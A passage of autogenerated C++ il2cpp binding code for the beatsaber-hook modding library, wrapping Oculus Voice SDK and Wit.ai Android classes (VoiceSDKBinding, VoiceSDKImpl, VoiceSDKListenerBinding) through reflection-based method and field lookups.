bool Oculus::Voice::Bindings::Android::VoiceSDKBinding::get_Active() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKBinding::get_Active");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_Active", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
return ::il2cpp_utils::RunMethodRethrow<bool, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKBinding.get_IsRequestActive
bool Oculus::Voice::Bindings::Android::VoiceSDKBinding::get_IsRequestActive() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKBinding::get_IsRequestActive");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_IsRequestActive", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
return ::il2cpp_utils::RunMethodRethrow<bool, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKBinding.get_MicActive
bool Oculus::Voice::Bindings::Android::VoiceSDKBinding::get_MicActive() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKBinding::get_MicActive");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_MicActive", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
return ::il2cpp_utils::RunMethodRethrow<bool, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKBinding.get_PlatformSupportsWit
bool Oculus::Voice::Bindings::Android::VoiceSDKBinding::get_PlatformSupportsWit() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKBinding::get_PlatformSupportsWit");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_PlatformSupportsWit", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
return ::il2cpp_utils::RunMethodRethrow<bool, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKBinding.Activate
void Oculus::Voice::Bindings::Android::VoiceSDKBinding::Activate(::StringW text) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKBinding::Activate");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Activate", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(text)})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, text);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKBinding.Activate
void Oculus::Voice::Bindings::Android::VoiceSDKBinding::Activate(::StringW text, ::Facebook::WitAi::Configuration::WitRequestOptions* options) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKBinding::Activate");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Activate", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(text), ::il2cpp_utils::ExtractType(options)})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, text, options);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKBinding.Activate
void Oculus::Voice::Bindings::Android::VoiceSDKBinding::Activate() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKBinding::Activate");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Activate", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKBinding.Activate
void Oculus::Voice::Bindings::Android::VoiceSDKBinding::Activate(::Facebook::WitAi::Configuration::WitRequestOptions* options) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKBinding::Activate");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Activate", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(options)})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, options);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKBinding.ActivateImmediately
void Oculus::Voice::Bindings::Android::VoiceSDKBinding::ActivateImmediately() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKBinding::ActivateImmediately");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "ActivateImmediately", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKBinding.ActivateImmediately
void Oculus::Voice::Bindings::Android::VoiceSDKBinding::ActivateImmediately(::Facebook::WitAi::Configuration::WitRequestOptions* options) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKBinding::ActivateImmediately");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "ActivateImmediately", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(options)})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, options);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKBinding.Deactivate
void Oculus::Voice::Bindings::Android::VoiceSDKBinding::Deactivate() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKBinding::Deactivate");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Deactivate", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKBinding.SetRuntimeConfiguration
void Oculus::Voice::Bindings::Android::VoiceSDKBinding::SetRuntimeConfiguration(::Facebook::WitAi::Configuration::WitRuntimeConfiguration* configuration) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKBinding::SetRuntimeConfiguration");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "SetRuntimeConfiguration", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(configuration)})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, configuration);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKBinding.SetListener
void Oculus::Voice::Bindings::Android::VoiceSDKBinding::SetListener(::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding* listener) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKBinding::SetListener");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "SetListener", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(listener)})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, listener);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: Oculus.Voice.Bindings.Android.VoiceSDKConfigBinding
#include "Oculus/Voice/Bindings/Android/VoiceSDKConfigBinding.hpp"
// Including type: Facebook.WitAi.Configuration.WitRuntimeConfiguration
#include "Facebook/WitAi/Configuration/WitRuntimeConfiguration.hpp"
// Including type: UnityEngine.AndroidJavaObject
#include "UnityEngine/AndroidJavaObject.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated instance field getter
// Get instance field: private Facebook.WitAi.Configuration.WitRuntimeConfiguration configuration
[[deprecated("Use field access instead!")]] ::Facebook::WitAi::Configuration::WitRuntimeConfiguration*& Oculus::Voice::Bindings::Android::VoiceSDKConfigBinding::dyn_configuration() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKConfigBinding::dyn_configuration");
auto ___internal__instance = this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "configuration"))->offset;
return *reinterpret_cast<::Facebook::WitAi::Configuration::WitRuntimeConfiguration**>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKConfigBinding.ToJavaObject
::UnityEngine::AndroidJavaObject* Oculus::Voice::Bindings::Android::VoiceSDKConfigBinding::ToJavaObject() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKConfigBinding::ToJavaObject");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "ToJavaObject", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
return ::il2cpp_utils::RunMethodRethrow<::UnityEngine::AndroidJavaObject*, false>(this, ___internal__method);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: Oculus.Voice.Bindings.Android.VoiceSDKImpl
#include "Oculus/Voice/Bindings/Android/VoiceSDKImpl.hpp"
// Including type: Oculus.Voice.Bindings.Android.VoiceSDKBinding
#include "Oculus/Voice/Bindings/Android/VoiceSDKBinding.hpp"
// Including type: Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding
#include "Oculus/Voice/Bindings/Android/VoiceSDKListenerBinding.hpp"
// Including type: Facebook.WitAi.Interfaces.ITranscriptionProvider
#include "Facebook/WitAi/Interfaces/ITranscriptionProvider.hpp"
// Including type: Facebook.WitAi.Events.VoiceEvents
#include "Facebook/WitAi/Events/VoiceEvents.hpp"
// Including type: Facebook.WitAi.Configuration.WitRuntimeConfiguration
#include "Facebook/WitAi/Configuration/WitRuntimeConfiguration.hpp"
// Including type: Facebook.WitAi.Configuration.WitRequestOptions
#include "Facebook/WitAi/Configuration/WitRequestOptions.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated instance field getter
// Get instance field: private Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding eventBinding
[[deprecated("Use field access instead!")]] ::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding*& Oculus::Voice::Bindings::Android::VoiceSDKImpl::dyn_eventBinding() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::dyn_eventBinding");
auto ___internal__instance = this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "eventBinding"))->offset;
return *reinterpret_cast<::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding**>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated instance field getter
// Get instance field: private Facebook.WitAi.Interfaces.ITranscriptionProvider <TranscriptionProvider>k__BackingField
[[deprecated("Use field access instead!")]] ::Facebook::WitAi::Interfaces::ITranscriptionProvider*& Oculus::Voice::Bindings::Android::VoiceSDKImpl::dyn_$TranscriptionProvider$k__BackingField() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::dyn_$TranscriptionProvider$k__BackingField");
auto ___internal__instance = this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "<TranscriptionProvider>k__BackingField"))->offset;
return *reinterpret_cast<::Facebook::WitAi::Interfaces::ITranscriptionProvider**>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKImpl.get_PlatformSupportsWit
bool Oculus::Voice::Bindings::Android::VoiceSDKImpl::get_PlatformSupportsWit() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::get_PlatformSupportsWit");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Bindings::Android::VoiceSDKImpl*), 6));
return ::il2cpp_utils::RunMethodRethrow<bool, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKImpl.get_Active
bool Oculus::Voice::Bindings::Android::VoiceSDKImpl::get_Active() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::get_Active");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Bindings::Android::VoiceSDKImpl*), 8));
return ::il2cpp_utils::RunMethodRethrow<bool, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKImpl.get_IsRequestActive
bool Oculus::Voice::Bindings::Android::VoiceSDKImpl::get_IsRequestActive() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::get_IsRequestActive");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Bindings::Android::VoiceSDKImpl*), 9));
return ::il2cpp_utils::RunMethodRethrow<bool, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKImpl.get_MicActive
bool Oculus::Voice::Bindings::Android::VoiceSDKImpl::get_MicActive() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::get_MicActive");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Bindings::Android::VoiceSDKImpl*), 10));
return ::il2cpp_utils::RunMethodRethrow<bool, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKImpl.get_VoiceEvents
::Facebook::WitAi::Events::VoiceEvents* Oculus::Voice::Bindings::Android::VoiceSDKImpl::get_VoiceEvents() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::get_VoiceEvents");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Bindings::Android::VoiceSDKImpl*), 11));
return ::il2cpp_utils::RunMethodRethrow<::Facebook::WitAi::Events::VoiceEvents*, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKImpl.set_VoiceEvents
void Oculus::Voice::Bindings::Android::VoiceSDKImpl::set_VoiceEvents(::Facebook::WitAi::Events::VoiceEvents* value) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::set_VoiceEvents");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Bindings::Android::VoiceSDKImpl*), 12));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, value);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKImpl.get_TranscriptionProvider
::Facebook::WitAi::Interfaces::ITranscriptionProvider* Oculus::Voice::Bindings::Android::VoiceSDKImpl::get_TranscriptionProvider() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::get_TranscriptionProvider");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Bindings::Android::VoiceSDKImpl*), 13));
return ::il2cpp_utils::RunMethodRethrow<::Facebook::WitAi::Interfaces::ITranscriptionProvider*, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKImpl.set_TranscriptionProvider
void Oculus::Voice::Bindings::Android::VoiceSDKImpl::set_TranscriptionProvider(::Facebook::WitAi::Interfaces::ITranscriptionProvider* value) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::set_TranscriptionProvider");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Bindings::Android::VoiceSDKImpl*), 14));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, value);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKImpl.SetRuntimeConfiguration
void Oculus::Voice::Bindings::Android::VoiceSDKImpl::SetRuntimeConfiguration(::Facebook::WitAi::Configuration::WitRuntimeConfiguration* configuration) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::SetRuntimeConfiguration");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Bindings::Android::VoiceSDKImpl*), 7));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, configuration);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKImpl.Activate
void Oculus::Voice::Bindings::Android::VoiceSDKImpl::Activate(::StringW text) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::Activate");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Bindings::Android::VoiceSDKImpl*), 20));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, text);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKImpl.Activate
void Oculus::Voice::Bindings::Android::VoiceSDKImpl::Activate(::StringW text, ::Facebook::WitAi::Configuration::WitRequestOptions* requestOptions) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::Activate");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Bindings::Android::VoiceSDKImpl*), 21));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, text, requestOptions);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKImpl.Activate
void Oculus::Voice::Bindings::Android::VoiceSDKImpl::Activate() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::Activate");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Bindings::Android::VoiceSDKImpl*), 15));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKImpl.Activate
void Oculus::Voice::Bindings::Android::VoiceSDKImpl::Activate(::Facebook::WitAi::Configuration::WitRequestOptions* requestOptions) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::Activate");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Bindings::Android::VoiceSDKImpl*), 16));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, requestOptions);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKImpl.ActivateImmediately
void Oculus::Voice::Bindings::Android::VoiceSDKImpl::ActivateImmediately() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::ActivateImmediately");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Bindings::Android::VoiceSDKImpl*), 17));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKImpl.ActivateImmediately
void Oculus::Voice::Bindings::Android::VoiceSDKImpl::ActivateImmediately(::Facebook::WitAi::Configuration::WitRequestOptions* requestOptions) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::ActivateImmediately");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Bindings::Android::VoiceSDKImpl*), 18));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, requestOptions);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKImpl.Deactivate
void Oculus::Voice::Bindings::Android::VoiceSDKImpl::Deactivate() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKImpl::Deactivate");
auto* ___internal__method = THROW_UNLESS(::il2cpp_utils::ResolveVtableSlot(this, classof(::Oculus::Voice::Bindings::Android::VoiceSDKImpl*), 19));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated from CppSourceCreator
// Created by Sc2ad
// =========================================================================
// Begin includes
// Including type: Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding
#include "Oculus/Voice/Bindings/Android/VoiceSDKListenerBinding.hpp"
// Including type: Facebook.WitAi.Events.VoiceEvents
#include "Facebook/WitAi/Events/VoiceEvents.hpp"
#include "beatsaber-hook/shared/utils/il2cpp-utils.hpp"
#include "beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Autogenerated instance field getter
// Get instance field: private Facebook.WitAi.Events.VoiceEvents voiceEvents
[[deprecated("Use field access instead!")]] ::Facebook::WitAi::Events::VoiceEvents*& Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::dyn_voiceEvents() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::dyn_voiceEvents");
auto ___internal__instance = this;
static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "voiceEvents"))->offset;
return *reinterpret_cast<::Facebook::WitAi::Events::VoiceEvents**>(reinterpret_cast<char*>(this) + ___internal__field__offset);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding.get_VoiceEvents
::Facebook::WitAi::Events::VoiceEvents* Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::get_VoiceEvents() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::get_VoiceEvents");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_VoiceEvents", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
return ::il2cpp_utils::RunMethodRethrow<::Facebook::WitAi::Events::VoiceEvents*, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding.onResponse
void Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onResponse(::StringW response) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onResponse");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "onResponse", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(response)})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, response);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding.onError
void Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onError(::StringW error, ::StringW message) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onError");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "onError", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(error), ::il2cpp_utils::ExtractType(message)})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, error, message);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding.onMicLevelChanged
void Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onMicLevelChanged(float level) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onMicLevelChanged");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "onMicLevelChanged", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(level)})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method, level);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding.onRequestCreated
void Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onRequestCreated() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onRequestCreated");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "onRequestCreated", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding.onStartListening
void Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onStartListening() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onStartListening");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "onStartListening", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding.onStoppedListening
void Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onStoppedListening() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onStoppedListening");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "onStoppedListening", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding.onStoppedListeningDueToInactivity
void Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onStoppedListeningDueToInactivity() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onStoppedListeningDueToInactivity");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "onStoppedListeningDueToInactivity", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding.onStoppedListeningDueToTimeout
void Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onStoppedListeningDueToTimeout() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onStoppedListeningDueToTimeout");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "onStoppedListeningDueToTimeout", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding.onStoppedListeningDueToDeactivation
void Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onStoppedListeningDueToDeactivation() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onStoppedListeningDueToDeactivation");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "onStoppedListeningDueToDeactivation", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding.onMicDataSent
void Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onMicDataSent() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onMicDataSent");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "onMicDataSent", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding.onMinimumWakeThresholdHit
void Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onMinimumWakeThresholdHit() {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onMinimumWakeThresholdHit");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "onMinimumWakeThresholdHit", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{})));
::il2cpp_utils::RunMethodRethrow<void, false>(this, ___internal__method);
}
// Autogenerated method: Oculus.Voice.Bindings.Android.VoiceSDKListenerBinding.onPartialTranscription
void Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onPartialTranscription(::StringW transcription) {
static auto ___internal__logger = ::Logger::get().WithContext("::Oculus::Voice::Bindings::Android::VoiceSDKListenerBinding::onPartialTranscription");
static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "onPartialTranscription", std::vector<Il2CppClass*>{}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(transcription)})));
